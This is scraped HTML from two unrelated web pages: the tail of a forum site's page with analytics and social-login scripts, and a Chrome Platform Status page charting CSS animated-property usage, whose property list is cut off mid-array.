version: 'v5' }, gaSlots = { component: 1, forum: 3, version: 4 }; /**/ gaKey = gaCustomVars.component == 'website' ? 'UA-1410476-16' : 'UA-1410476-6'; // Now start loading analytics services var s = doc.getElementsByTagName('script')[0], p = s.parentNode; var isSecure = doc.location.protocol == 'https:'; if (!debug) { _comscore = _comscore || []; // comScore // Load comScore _comscore.push({ c1: '7', c2: '10137436', c3: '1' }); var cs = document.createElement('script'); cs.async = true; cs.src = (isSecure ? 'https://sb' : 'http://b') + '.scorecardresearch.com/beacon.js'; p.insertBefore(cs, s); } // Set up Google Analytics _gaq = _gaq || []; if (!debug) { _gaq.push(['_setAccount', gaKey]); _gaq.push(['_setDomainName', '.wallace-best.com']); } if (!gaPunt) { for (var v in gaCustomVars) { if (!(gaCustomVars.hasOwnProperty(v) && gaCustomVars[v])) continue; _gaq.push(['_setCustomVar', gaSlots[v], gaCustomVars[v]]); } _gaq.push(['_trackPageview']); } // Load Google Analytics var ga = doc.createElement('script'); ga.type = 'text/javascript'; ga.async = true; var prefix = isSecure ? 'https://ssl' : 'http://www'; // Dev tip: if you cannot use the Google Analytics Debug Chrome extension, // https://chrome.google.com/webstore/detail/jnkmfdileelhofjcijamephohjechhna // you can replace /ga.js on the following line with /u/ga_debug.js // But if you do that, PLEASE DON'T COMMIT THE CHANGE! Kthxbai. ga.src = prefix + '.google-analytics.com/ga.js'; p.insertBefore(ga, s); }(document)); </script> <script> (function (){ // adds a classname for css to target the current page without passing in special things from the server or wherever // replacing all characters not allowable in classnames var newLocation = encodeURIComponent(window.location.pathname).replace(/[\.!~*'\(\)]/g, '_'); // cleaning up remaining url-encoded symbols for clarity sake newLocation = newLocation.replace(/%2F/g, '-').replace(/^-/, '').replace(/-$/, ''); if (newLocation === '') { newLocation = 'homepage'; } $('body').addClass('' + newLocation); }()); $(function ($) { // adds 'page-active' class to links matching the page url $('a[href="' + window.location.pathname + '"]').addClass('page-active'); }); $(document).delegate('[data-toggle-selector]', 'click', function (e) { var $this = $(this); $($this.attr('data-toggle-selector')).toggle(); e.preventDefault(); }); </script> <script type="text/javascript"> wallace-best.define('web.urls', function () { return { twitter: 'https://wallace-best.com/_ax/twitter/begin/', google: 'https://wallace-best.com/_ax/google/begin/', facebook: 'https://wallace-best.com/_ax/facebook/begin/', dashboard: 'http://wallace-best.com/dashboard/' } }); $(document).ready(function () { var usernameInput = $("input[name=username]"); if (usernameInput[0].value) { $("input[name=password]").focus(); } else { usernameInput.focus(); } }); </script> <script type="text/javascript" src="//a.wallace-bestcdn.com/1391808583/js/src/social_login.js"> <script type="text/javascript"> $(function() { var options = { authenticated: (context.auth.username !== undefined), moderated_forums: context.auth.moderated_forums, user_id: context.auth.user_id, track_clicks: !!context.switches.website_click_analytics, forum: context.forum }; wallace-best.funnelcake.init(options); }); </script> <!-- helper jQuery tmpl partials --> <script type="text/x-jquery-tmpl" id="profile-metadata-tmpl"> data-profile-username="${username}" data-profile-hash="${emailHash}" href="/${username}" </script> <script type="text/x-jquery-tmpl" id="profile-link-tmpl"> <a class="profile-launcher" {{tmpl "#profile-metadata-tmpl"}} href="/${username}">${name}</a> </script> <script src="//a.wallace-bestcdn.com/1391808583/js/src/templates.js"></script> <script src="//a.wallace-bestcdn.com/1391808583/js/src/modals.js"></script> <script> wallace-best.ui.config({ disqusUrl: 'https://disqus.com', mediaUrl: '//a.wallace-bestcdn.com/1391808583/' }); </script> </body> </html>
mhowerton91
<!DOCTYPE html> <!-- Copyright 2016 Google Inc. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --> <html> <head> <meta charset="utf-8"> <title>Chrome Platform Status</title> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0"> <link rel="manifest" href="/static/manifest.json"> <meta name="theme-color" content="#366597"> <link rel="icon" sizes="192x192" href="/static/img/crstatus_192.png"> <!-- iOS: run in full-screen mode and display upper status bar as translucent --> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent"> <link rel="apple-touch-icon" href="/static/img/crstatus_128.png"> <link rel="apple-touch-icon-precomposed" href="/static/img/crstatus_128.png"> <link rel="shortcut icon" href="/static/img/crstatus_128.png"> <link rel="preconnect" href="https://www.google-analytics.com" crossorigin> <!-- <link rel="dns-prefetch" href="https://fonts.googleapis.com"> --> <!-- <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> --> <!-- <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400" media="none" onload="this.media='all'"> --> <!-- <link rel="stylesheet" href="/static/css/main.css"> --> <style>html,body{margin:0;padding:0;border:0;font-weight:inherit;font-style:inherit;font-size:100%;font-family:inherit;vertical-align:baseline}div,span,object,iframe,h1,h2,h3,h4,h5,h6,p,pre,a,abbr,acronym,address,code,del,dfn,em,img,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,caption,tbody,tfoot,thead,tr{margin:0;padding:0;border:0;font-weight:inherit;font-style:inherit;font-size:100%;font-family:inherit;vertical-align:baseline}blockquote,q{margin:0;padding:0;border:0;font-weight:inherit;font-style:inherit;font-size:100%;font-family:inherit;vertical-align:baseline;quotes:"" ""}blockquote:before,q:before,blockquote:after,q:after{content:""}th,td,caption{margin:0;padding:0;border:0;font-weight:inherit;font-style:inherit;font-size:100%;font-family:inherit;vertical-align:baseline;text-align:left;font-weight:normal;vertical-align:middle}table{margin:0;padding:0;border:0;font-weight:inherit;font-style:inherit;font-size:100%;font-family:inherit;vertical-align:baseline;border-collapse:separate;border-spacing:0;vertical-align:middle}a img{border:none}*{box-sizing:border-box}*{-webkit-tap-highlight-color:transparent}h1,h2,h3,h4{font-weight:300}h1{font-size:30px}h2,h3,h4{color:#444}h2{font-size:25px}h3{font-size:20px}a{text-decoration:none;color:#4580c0}a:hover{text-decoration:underline;color:#366597}b{font-weight:600}input:not([type="submit"]),textarea{border:1px solid #D4D4D4}input:not([type="submit"])[disabled],textarea[disabled]{opacity:0.5}button,.button{display:inline-block;background:linear-gradient(#F9F9F9 40%, #E3E3E3 70%);border:1px solid #a9a9a9;border-radius:3px;padding:5px 8px;outline:none;white-space:nowrap;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;cursor:pointer;text-shadow:1px 1px #fff;font-size:10pt}button:not(:disabled):hover{border-color:#515151}button:not(:disabled):active{background:linear-gradient(#E3E3E3 40%, #F9F9F9 70%)}.comma::after{content:',\00a0'}html,body{height:100%}body{color:#666;font:14px "Roboto", sans-serif;font-weight:400;-webkit-font-smoothing:antialiased;background-color:#eee}body.loading #spinner{display:flex}body.loading chromedash-toast{visibility:hidden}#spinner{display:none;align-items:center;justify-content:center;position:fixed;height:calc(100% - 54px - $header-height);max-width:768px;width:100%}#site-banner{display:none;background:#4580c0;color:#fff;position:fixed;z-index:1;-webkit-tap-highlight-color:transparent;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;cursor:pointer;text-transform:capitalize;text-align:center;transform:rotate(35deg);right:-40px;top:20px;padding:10px 40px 8px 60px;box-shadow:inset 0px 5px 6px -3px rgba(0,0,0,0.4)}#site-banner iron-icon{margin-right:4px;height:20px;width:20px}#site-banner a{color:currentcolor;text-decoration:none}app-drawer{font-size:14px}app-drawer .drawer-content-wrapper{height:100%;overflow:auto;padding:16px}app-drawer paper-listbox{background-color:inherit !important}app-drawer paper-listbox paper-item{font-size:inherit !important}app-drawer h3{margin-bottom:16px;text-transform:uppercase;font-weight:500;font-size:14px;color:inherit}app-header{background-color:#eee;right:0;top:0;left:0;z-index:1}app-header[fixed]{position:fixed}.main-toolbar{display:flex;position:relative;padding:0 16px}header,footer{display:flex;align-items:center;text-shadow:0 1px 0 white}header{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}header a{text-decoration:none !important}header nav{display:flex;align-items:center;margin-left:16px}header nav a{background-color:#FAFAFA;background:linear-gradient(to bottom, white, #F2F2F2);padding:0.75em 1em;box-shadow:1px 1px 4px rgba(0,0,0,0.065);cursor:pointer;font-size:16px;text-align:center;border-radius:3px;border-bottom:1px solid #D4D4D4;border-right:1px solid #D4D4D4;white-space:nowrap}header nav a:active{position:relative;top:1px;left:1px;box-shadow:3px 3px 4px rgba(0,0,0,0.065)}header nav a.disabled{opacity:0.5;pointer-events:none}header nav paper-menu-button{margin:0 !important;padding:0 !important;line-height:1}header nav paper-menu-button .dropdown-content{display:flex;flex-direction:column;contain:content}header aside{background-color:#FAFAFA;background:linear-gradient(to bottom, white, #F2F2F2);padding:0.75em 1em;box-shadow:1px 1px 4px rgba(0,0,0,0.065);border-bottom-left-radius:5px;border-bottom-right-radius:5px;border-bottom:1px solid #D4D4D4;border-right:1px solid #D4D4D4;background:url(/static/img/chrome_logo.svg) no-repeat 16px 50%;background-size:48px;background-color:#fafafa;padding-left:72px}header aside hgroup a{color:currentcolor}header aside h1{line-height:1}header aside img{height:45px;width:45px;margin-right:7px}footer{background-color:#FAFAFA;background:linear-gradient(to bottom, white, #F2F2F2);padding:0.75em 1em;box-shadow:1px 1px 4px rgba(0,0,0,0.065);font-size:12px;box-shadow:0 -2px 5px rgba(0,0,0,0.065);display:flex;flex-direction:column;justify-content:center;text-align:center;position:fixed;bottom:0;left:0;right:0;z-index:3}footer div{margin-top:4px}.description{line-height:1.4}#subheader,.subheader{display:flex;align-items:center;margin:16px 0;max-width:768px}#subheader .num-features,.subheader .num-features{font-weight:400}#subheader div.search input,.subheader div.search input{width:200px;outline:none;padding:10px 7px}#subheader div.actionlinks,.subheader div.actionlinks{display:flex;justify-content:flex-end;flex:1 0 auto;margin-left:16px}#subheader div.actionlinks .blue-button,.subheader div.actionlinks .blue-button{background:#366597;color:#fff;display:inline-flex;align-items:center;justify-content:center;max-height:35px;min-width:5.14em;-webkit-tap-highlight-color:transparent;-webkit-tap-highlight-color:transparent;text-transform:uppercase;text-decoration:none;border-radius:3px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;cursor:pointer;padding:0.7em 0.57em}#subheader div.actionlinks .blue-button iron-icon,.subheader div.actionlinks .blue-button iron-icon{margin-right:8px;height:24px;width:24px}#subheader div.actionlinks .legend,.subheader div.actionlinks .legend{font-size:18px;cursor:pointer;text-decoration:none}#container{display:flex;flex-direction:column;height:100%;width:100%}#content{margin:16px;position:relative;height:100%}#panels{display:flex;width:100%;overflow:hidden}@media only screen and (min-width: 701px){.main-toolbar .toolbar-content{max-width:768px}app-header{padding-left:200px;left:0 !important}}@media only screen and (max-width: 700px){h1{font-size:24px}h2{font-size:20px}h3{font-size:15px}app-header .main-toolbar{padding:0;display:block}app-header .main-toolbar iron-icon{width:24px}app-drawer{z-index:2}#content{margin-left:0;margin-right:0}header{margin:0;display:block}header aside{display:flex;padding:8px;border-radius:0;background-size:24px;background-position:48px 50%}header aside hgroup{padding-left:48px}header aside hgroup span{display:none}header nav{margin:0;justify-content:center;flex-wrap:wrap}header nav a{padding:5px 10px;margin:0;border-radius:0;flex:1 0 auto}#panels{display:block}#panels nav{display:none}.subheader .description{margin:0 16px}#subheader div:not(.search){display:none}#subheader div.search{text-align:center;flex:1 0 0;margin:0}chromedash-toast{width:100%;left:0;margin:0}}@media only screen and (min-width: 1100px){#site-banner{display:block}}body.loading chromedash-legend{display:none}body.loading chromedash-featurelist{visibility:hidden}body.loading .main-toolbar .dropdown-content{display:none} </style> <!-- <link rel="stylesheet" href="/static/css/metrics/metrics.css"> --> <style>#content h3{margin-bottom:16px}.data-panel{max-width:768px}.data-panel .description{margin-bottom:1em}.metric-nav{list-style-type:none}.metric-nav h3:not(:first-of-type){margin-top:32px}.metric-nav li{text-align:center;border-top-left-radius:3px;border-top-right-radius:3px;background:linear-gradient(to bottom, white, #F2F2F2);box-shadow:1px 1px 4px rgba(0,0,0,0.065);padding:0.5em;margin-bottom:10px}@media only screen and (max-width: 700px){#subheader{margin:16px 0;text-align:center}.data-panel{margin:0 10px}} </style> <script> window.Polymer = window.Polymer || { dom: 'shadow', // Use native shadow dom. lazyRegister: 'max', useNativeCSSProperties: true, suppressTemplateNotifications: true, // Don't fire dom-change on dom-if, dom-bind, etc. suppressBindingNotifications: true // disableUpgradeEnabled: true // Works with `disable-upgrade` attr. When removed, upgrades element. }; var $ = function(selector) { return document.querySelector(selector); }; var $$ = function(selector) { return document.querySelectorAll(selector); }; </script> <style is="custom-style"> app-drawer { --app-drawer-width: 200px; --app-drawer-content-container: { background: #eee; }; } paper-item { --paper-item: { cursor: pointer; }; } </style> <link rel="import" href="/static/elements/metrics-imports.vulcanize.html"> </head> <body class="loading"> <!--<div id="site-banner"> <a href="https://www.youtube.com/watch?v=Rd0plknSPYU" target="_blank"> <iron-icon icon="chromestatus:ondemand-video"></iron-icon> How we built it</a> </div>--> <app-drawer-layout fullbleed> <app-drawer swipe-open> <div class="drawer-content-wrapper"> <ul class="metric-nav"> <h3>All properties</h3> <li><a href="/metrics/css/popularity">Stack rank</a></li> <li><a href="/metrics/css/timeline/popularity">Timeline</a></li> <h3>Animated properties</h3> <li><a href="/metrics/css/animated">Stack rank</a></li> <li><a href="/metrics/css/timeline/animated">Timeline</a></li> </ul> </div> </app-drawer> <app-header-layout> <app-header reveals fixed effects="waterfall"> <div class="main-toolbar"> <div class="toolbar-content"> <header> <aside> <iron-icon icon="chromestatus:menu" drawer-toggle></iron-icon> <hgroup> <a href="/features" target="_top"><h1>Chrome Platform Status</h1></a> <span>feature support & usage metrics</span> </hgroup> </aside> <nav> <a href="/features">Features</a> <a href="/samples" class="features">Samples</a> <paper-menu-button vertical-align="top" horizontal-align="right"> <a href="javascript:void(0)" class="dropdown-trigger">Usage Metrics</a> <div class="dropdown-content" hidden> <!-- hidden removed by lazy load code. --> <a href="/metrics/css/popularity" class="metrics">CSS</a> <a href="/metrics/feature/popularity" class="metrics">JS/HTML</a> </div> </paper-menu-button> </nav> </header> <div id="subheader"> <h2>CSS usage metrics > animated properties > timeline</h2> </div> </div> </div> </app-header> <div id="content"> <div id="spinner"><img src="/static/img/ring.svg"></div> <div class="data-panel"> <p class="description">Percentages are the number of times (as the fraction of all animated properties) this property is animated.</p> <chromedash-feature-timeline type="css" view="animated" title="Percentage of times (as the fraction of all animated properties) this property is animated." ></chromedash-feature-timeline> </div> </div> </app-header-layout> <footer> <p>Except as otherwise noted, the content of this page under <a href="https://creativecommons.org/licenses/by/2.5/">CC Attribution 2.5</a> license. Code examples are <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/LICENSE">Apache-2.0</a>.</p> <div><a href="https://groups.google.com/a/chromium.org/forum/#!newtopic/blink-dev">File content issue</a> | <a href="https://docs.google.com/a/chromium.org/forms/d/1djZD0COt4NgRwDYesNLkYAb_O8YL39eEvF78vk06R9c/viewform">Request "edit" access</a> | <a href="https://github.com/GoogleChrome/chromium-dashboard/issues">File site bug</a> | <a href="https://docs.google.com/document/d/1jrSlM4Yhae7XCJ8BuasWx71CvDEMMbSKbXwx7hoh1Co/edit?pli=1" target="_blank">About</a> | <a href="https://www.google.com/accounts/ServiceLogin?service=ah&passive=true&continue=https://appengine.google.com/_ah/conflogin%3Fcontinue%3Dhttps://www.chromestatus.com/metrics/css/timeline/animated">Login</a> </div> </footer> </app-drawer-layout> <chromedash-toast msg="Welcome to chromestatus.com!"></chromedash-toast> <script> /*! (c) 2017 Copyright (c) 2016 The Google Inc. All rights reserved. (Apache2) */ "use strict";function _classCallCheck(e,r){if(!(e instanceof r))throw new TypeError("Cannot call a class as a function")}var _createClass=function(){function e(e,r){for(var n=0;n<r.length;n++){var t=r[n];t.enumerable=t.enumerable||!1,t.configurable=!0,"value"in t&&(t.writable=!0),Object.defineProperty(e,t.key,t)}}return function(r,n,t){return n&&e(r.prototype,n),t&&e(r,t),r}}(),Metric=function(){function e(r){if(_classCallCheck(this,e),!r)throw Error("Please provide a metric name");if(!e.supportsPerfMark&&(console.warn("Timeline won't be marked for \""+r+'".'),!e.supportsPerfNow))throw Error("This library cannot be used in this browser.");this.name=r}return _createClass(e,[{key:"duration",get:function(){var r=this._end-this._start;if(e.supportsPerfMark){var n=performance.getEntriesByName(this.name)[0];n&&"measure"!==n.entryType&&(r=n.duration)}return r||-1}}],[{key:"supportsPerfNow",get:function(){return performance&&performance.now}},{key:"supportsPerfMark",get:function(){return performance&&performance.mark}}]),_createClass(e,[{key:"log",value:function(){return console.info(this.name,this.duration,"ms"),this}},{key:"logAll",value:function(){var r=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.name;if(e.supportsPerfNow)for(var n=window.performance.getEntriesByName(r),t=0;t<n.length;++t){var a=n[t];console.info(r,a.duration,"ms")}return this}},{key:"start",value:function(){return this._start?(console.warn("Recording already started."),this):(this._start=performance.now(),e.supportsPerfMark&&performance.mark("mark_"+this.name+"_start"),this)}},{key:"end",value:function(){if(this._end)return console.warn("Recording already stopped."),this;if(this._end=performance.now(),e.supportsPerfMark){var r="mark_"+this.name+"_start",n="mark_"+this.name+"_end";performance.mark(n),performance.measure(this.name,r,n)}return this}},{key:"sendToAnalytics",value:function(e){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.name,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:this.duration;return window.ga?n>=0&&ga("send","timing",e,r,n):console.warn("Google Analytics has not been loaded"),this}}]),e}(); </script> <script> document.addEventListener('WebComponentsReady', function(e) { var timeline = $('chromedash-feature-timeline'); timeline.props = [[469,"alias-epub-caption-side"],[470,"alias-epub-text-combine"],[471,"alias-epub-text-emphasis"],[472,"alias-epub-text-emphasis-color"],[473,"alias-epub-text-emphasis-style"],[474,"alias-epub-text-orientation"],[475,"alias-epub-text-transform"],[476,"alias-epub-word-break"],[477,"alias-epub-writing-mode"],[478,"alias-webkit-align-content"],[479,"alias-webkit-align-items"],[480,"alias-webkit-align-self"],[166,"alias-webkit-animation"],[167,"alias-webkit-animation-delay"],[169,"alias-webkit-animation-duration"],[170,"alias-webkit-animation-fill-mode"],[171,"alias-webkit-animation-iteration-count"],[172,"alias-webkit-animation-name"],[173,"alias-webkit-animation-play-state"],[174,"alias-webkit-animation-timing-function"],[177,"alias-webkit-backface-visibility"],[181,"alias-webkit-background-size"],[481,"alias-webkit-border-bottom-left-radius"],[482,"alias-webkit-border-bottom-right-radius"],[197,"alias-webkit-border-radius"],[483,"alias-webkit-border-top-left-radius"],[484,"alias-webkit-border-top-right-radius"],[212,"alias-webkit-box-shadow"],[485,"alias-webkit-box-sizing"],[218,"alias-webkit-column-count"],[219,"alias-webkit-column-gap"],[221,"alias-webkit-column-rule"],[222,"alias-webkit-column-rule-color"],[223,"alias-webkit-column-rule-style"],[224,"alias-webkit-column-rule-width"],[225,"alias-webkit-column-span"],[226,"alias-webkit-column-width"],[227,"alias-webkit-columns"],[486,"alias-webkit-flex"],[487,"alias-webkit-flex-basis"],[488,"alias-webkit-flex-direction"],[489,"alias-webkit-flex-flow"],[490,"alias-webkit-flex-grow"],[491,"alias-webkit-flex-shrink"],[492,"alias-webkit-flex-wrap"],[493,"alias-webkit-justify-content"],[494,"alias-webkit-opacity"],[495,"alias-webkit-order"],[308,"alias-webkit-perspective"],[309,"alias-webkit-perspective-origin"],[496,"alias-webkit-shape-image-threshold"],[497,"alias-webkit-shape-margin"],[498,"alias-webkit-shape-outside"],[537,"alias-webkit-text-size-adjust"],[326,"alias-webkit-transform"],[327,"alias-webkit-transform-origin"],[331,"alias-webkit-transform-style"],[332,"alias-webkit-transition"],[333,"alias-webkit-transition-delay"],[334,"alias-webkit-transition-duration"],[335,"alias-webkit-transition-property"],[336,"alias-webkit-transition-timing-function"],[230,"align-content"],[231,"align-items"],[232,"align-self"],[386,"alignment-baseline"],[454,"all"],[424,"animation"],[425,"animation-delay"],[426,"animation-direction"],[427,"animation-duration"],[428,"animation-fill-mode"],[429,"animation-iteration-count"],[430,"animation-name"],[431,"animation-play-state"],[432,"animation-timing-function"],[532,"apply-at-rule"],[508,"backdrop-filter"],[451,"backface-visibility"],[21,"background"],[22,"background-attachment"],[419,"background-blend-mode"],[23,"background-clip"],[24,"background-color"],[25,"background-image"],[26,"background-origin"],[27,"background-position"],[28,"background-position-x"],[29,"background-position-y"],[30,"background-repeat"],[31,"background-repeat-x"],[32,"background-repeat-y"],[33,"background-size"],[387,"baseline-shift"],[551,"block-size"],[34,"border"],[35,"border-bottom"],[36,"border-bottom-color"],[37,"border-bottom-left-radius"],[38,"border-bottom-right-radius"],[39,"border-bottom-style"],[40,"border-bottom-width"],[41,"border-collapse"],[42,"border-color"],[43,"border-image"],[44,"border-image-outset"],[45,"border-image-repeat"],[46,"border-image-slice"],[47,"border-image-source"],[48,"border-image-width"],[49,"border-left"],[50,"border-left-color"],[51,"border-left-style"],[52,"border-left-width"],[53,"border-radius"],[54,"border-right"],[55,"border-right-color"],[56,"border-right-style"],[57,"border-right-width"],[58,"border-spacing"],[59,"border-style"],[60,"border-top"],[61,"border-top-color"],[62,"border-top-left-radius"],[63,"border-top-right-radius"],[64,"border-top-style"],[65,"border-top-width"],[66,"border-width"],[67,"bottom"],[68,"box-shadow"],[69,"box-sizing"],[520,"break-after"],[521,"break-before"],[522,"break-inside"],[416,"buffered-rendering"],[70,"caption-side"],[547,"caret-color"],[71,"clear"],[72,"clip"],[355,"clip-path"],[356,"clip-rule"],[2,"color"],[365,"color-interpolation"],[366,"color-interpolation-filters"],[367,"color-profile"],[368,"color-rendering"],[523,"column-count"],[440,"column-fill"],[524,"column-gap"],[525,"column-rule"],[526,"column-rule-color"],[527,"column-rule-style"],[528,"column-rule-width"],[529,"column-span"],[530,"column-width"],[531,"columns"],[517,"contain"],[74,"content"],[75,"counter-increment"],[76,"counter-reset"],[77,"cursor"],[466,"cx"],[467,"cy"],[518,"d"],[3,"direction"],[4,"display"],[388,"dominant-baseline"],[78,"empty-cells"],[358,"enable-background"],[369,"fill"],[370,"fill-opacity"],[371,"fill-rule"],[359,"filter"],[233,"flex"],[234,"flex-basis"],[235,"flex-direction"],[236,"flex-flow"],[237,"flex-grow"],[238,"flex-shrink"],[239,"flex-wrap"],[79,"float"],[360,"flood-color"],[361,"flood-opacity"],[5,"font"],[516,"font-display"],[6,"font-family"],[514,"font-feature-settings"],[13,"font-kerning"],[7,"font-size"],[465,"font-size-adjust"],[80,"font-stretch"],[8,"font-style"],[9,"font-variant"],[533,"font-variant-caps"],[15,"font-variant-ligatures"],[535,"font-variant-numeric"],[549,"font-variation-settings"],[10,"font-weight"],[389,"glyph-orientation-horizontal"],[390,"glyph-orientation-vertical"],[453,"grid"],[422,"grid-area"],[418,"grid-auto-columns"],[250,"grid-auto-flow"],[417,"grid-auto-rows"],[248,"grid-column"],[245,"grid-column-end"],[511,"grid-column-gap"],[244,"grid-column-start"],[513,"grid-gap"],[249,"grid-row"],[247,"grid-row-end"],[512,"grid-row-gap"],[246,"grid-row-start"],[452,"grid-template"],[423,"grid-template-areas"],[242,"grid-template-columns"],[243,"grid-template-rows"],[81,"height"],[534,"hyphens"],[397,"image-orientation"],[507,"image-orientation"],[82,"image-rendering"],[398,"image-resolution"],[550,"inline-size"],[438,"internal-callback"],[436,"isolation"],[240,"justify-content"],[455,"justify-items"],[443,"justify-self"],[391,"kerning"],[83,"left"],[84,"letter-spacing"],[362,"lighting-color"],[556,"line-break"],[20,"line-height"],[85,"list-style"],[86,"list-style-image"],[87,"list-style-position"],[88,"list-style-type"],[89,"margin"],[90,"margin-bottom"],[91,"margin-left"],[92,"margin-right"],[93,"margin-top"],[372,"marker"],[373,"marker-end"],[374,"marker-mid"],[375,"marker-start"],[357,"mask"],[435,"mask-source-type"],[376,"mask-type"],[555,"max-block-size"],[94,"max-height"],[554,"max-inline-size"],[95,"max-width"],[406,"max-zoom"],[553,"min-block-size"],[96,"min-height"],[552,"min-inline-size"],[97,"min-width"],[407,"min-zoom"],[420,"mix-blend-mode"],[460,"motion"],[458,"motion-offset"],[457,"motion-path"],[459,"motion-rotation"],[433,"object-fit"],[437,"object-position"],[543,"offset"],[544,"offset-anchor"],[540,"offset-distance"],[541,"offset-path"],[545,"offset-position"],[548,"offset-rotate"],[542,"offset-rotation"],[98,"opacity"],[303,"order"],[408,"orientation"],[99,"orphans"],[100,"outline"],[101,"outline-color"],[102,"outline-offset"],[103,"outline-style"],[104,"outline-width"],[105,"overflow"],[538,"overflow-anchor"],[106,"overflow-wrap"],[107,"overflow-x"],[108,"overflow-y"],[109,"padding"],[110,"padding-bottom"],[111,"padding-left"],[112,"padding-right"],[113,"padding-top"],[114,"page"],[115,"page-break-after"],[116,"page-break-before"],[117,"page-break-inside"],[434,"paint-order"],[449,"perspective"],[450,"perspective-origin"],[557,"place-content"],[558,"place-items"],[118,"pointer-events"],[119,"position"],[120,"quotes"],[468,"r"],[121,"resize"],[122,"right"],[505,"rotate"],[463,"rx"],[464,"ry"],[506,"scale"],[444,"scroll-behavior"],[456,"scroll-blocks-on"],[502,"scroll-snap-coordinate"],[503,"scroll-snap-destination"],[500,"scroll-snap-points-x"],[501,"scroll-snap-points-y"],[499,"scroll-snap-type"],[439,"shape-image-threshold"],[346,"shape-inside"],[348,"shape-margin"],[347,"shape-outside"],[349,"shape-padding"],[377,"shape-rendering"],[123,"size"],[519,"snap-height"],[125,"speak"],[124,"src"],[363,"stop-color"],[364,"stop-opacity"],[378,"stroke"],[379,"stroke-dasharray"],[380,"stroke-dashoffset"],[381,"stroke-linecap"],[382,"stroke-linejoin"],[383,"stroke-miterlimit"],[384,"stroke-opacity"],[385,"stroke-width"],[127,"tab-size"],[126,"table-layout"],[128,"text-align"],[404,"text-align-last"],[392,"text-anchor"],[509,"text-combine-upright"],[129,"text-decoration"],[403,"text-decoration-color"],[401,"text-decoration-line"],[546,"text-decoration-skip"],[402,"text-decoration-style"],[130,"text-indent"],[441,"text-justify"],[131,"text-line-through"],[132,"text-line-through-color"],[133,"text-line-through-mode"],[134,"text-line-through-style"],[135,"text-line-through-width"],[510,"text-orientation"],[136,"text-overflow"],[137,"text-overline"],[138,"text-overline-color"],[139,"text-overline-mode"],[140,"text-overline-style"],[141,"text-overline-width"],[11,"text-rendering"],[142,"text-shadow"],[536,"text-size-adjust"],[143,"text-transform"],[144,"text-underline"],[145,"text-underline-color"],[146,"text-underline-mode"],[405,"text-underline-position"],[147,"text-underline-style"],[148,"text-underline-width"],[149,"top"],[421,"touch-action"],[442,"touch-action-delay"],[446,"transform"],[559,"transform-box"],[447,"transform-origin"],[448,"transform-style"],[150,"transition"],[151,"transition-delay"],[152,"transition-duration"],[153,"transition-property"],[154,"transition-timing-function"],[504,"translate"],[155,"unicode-bidi"],[156,"unicode-range"],[539,"user-select"],[409,"user-zoom"],[515,"variable"],[393,"vector-effect"],[157,"vertical-align"],[158,"visibility"],[168,"webkit-animation-direction"],[354,"webkit-app-region"],[412,"webkit-app-region"],[175,"webkit-appearance"],[176,"webkit-aspect-ratio"],[400,"webkit-background-blend-mode"],[178,"webkit-background-clip"],[179,"webkit-background-composite"],[180,"webkit-background-origin"],[399,"webkit-blend-mode"],[182,"webkit-border-after"],[183,"webkit-border-after-color"],[184,"webkit-border-after-style"],[185,"webkit-border-after-width"],[186,"webkit-border-before"],[187,"webkit-border-before-color"],[188,"webkit-border-before-style"],[189,"webkit-border-before-width"],[190,"webkit-border-end"],[191,"webkit-border-end-color"],[192,"webkit-border-end-style"],[193,"webkit-border-end-width"],[194,"webkit-border-fit"],[195,"webkit-border-horizontal-spacing"],[196,"webkit-border-image"],[198,"webkit-border-start"],[199,"webkit-border-start-color"],[200,"webkit-border-start-style"],[201,"webkit-border-start-width"],[202,"webkit-border-vertical-spacing"],[203,"webkit-box-align"],[228,"webkit-box-decoration-break"],[414,"webkit-box-decoration-break"],[204,"webkit-box-direction"],[205,"webkit-box-flex"],[206,"webkit-box-flex-group"],[207,"webkit-box-lines"],[208,"webkit-box-ordinal-group"],[209,"webkit-box-orient"],[210,"webkit-box-pack"],[211,"webkit-box-reflect"],[73,"webkit-clip-path"],[213,"webkit-color-correction"],[214,"webkit-column-axis"],[215,"webkit-column-break-after"],[216,"webkit-column-break-before"],[217,"webkit-column-break-inside"],[220,"webkit-column-progression"],[396,"webkit-cursor-visibility"],[410,"webkit-dashboard-region"],[229,"webkit-filter"],[413,"webkit-filter"],[341,"webkit-flow-from"],[340,"webkit-flow-into"],[12,"webkit-font-feature-settings"],[241,"webkit-font-size-delta"],[14,"webkit-font-smoothing"],[251,"webkit-highlight"],[252,"webkit-hyphenate-character"],[253,"webkit-hyphenate-limit-after"],[254,"webkit-hyphenate-limit-before"],[255,"webkit-hyphenate-limit-lines"],[256,"webkit-hyphens"],[258,"webkit-line-align"],[257,"webkit-line-box-contain"],[259,"webkit-line-break"],[260,"webkit-line-clamp"],[261,"webkit-line-grid"],[262,"webkit-line-snap"],[16,"webkit-locale"],[264,"webkit-logical-height"],[263,"webkit-logical-width"],[270,"webkit-margin-after"],[265,"webkit-margin-after-collapse"],[271,"webkit-margin-before"],[266,"webkit-margin-before-collapse"],[267,"webkit-margin-bottom-collapse"],[269,"webkit-margin-collapse"],[272,"webkit-margin-end"],[273,"webkit-margin-start"],[268,"webkit-margin-top-collapse"],[274,"webkit-marquee"],[275,"webkit-marquee-direction"],[276,"webkit-marquee-increment"],[277,"webkit-marquee-repetition"],[278,"webkit-marquee-speed"],[279,"webkit-marquee-style"],[280,"webkit-mask"],[281,"webkit-ma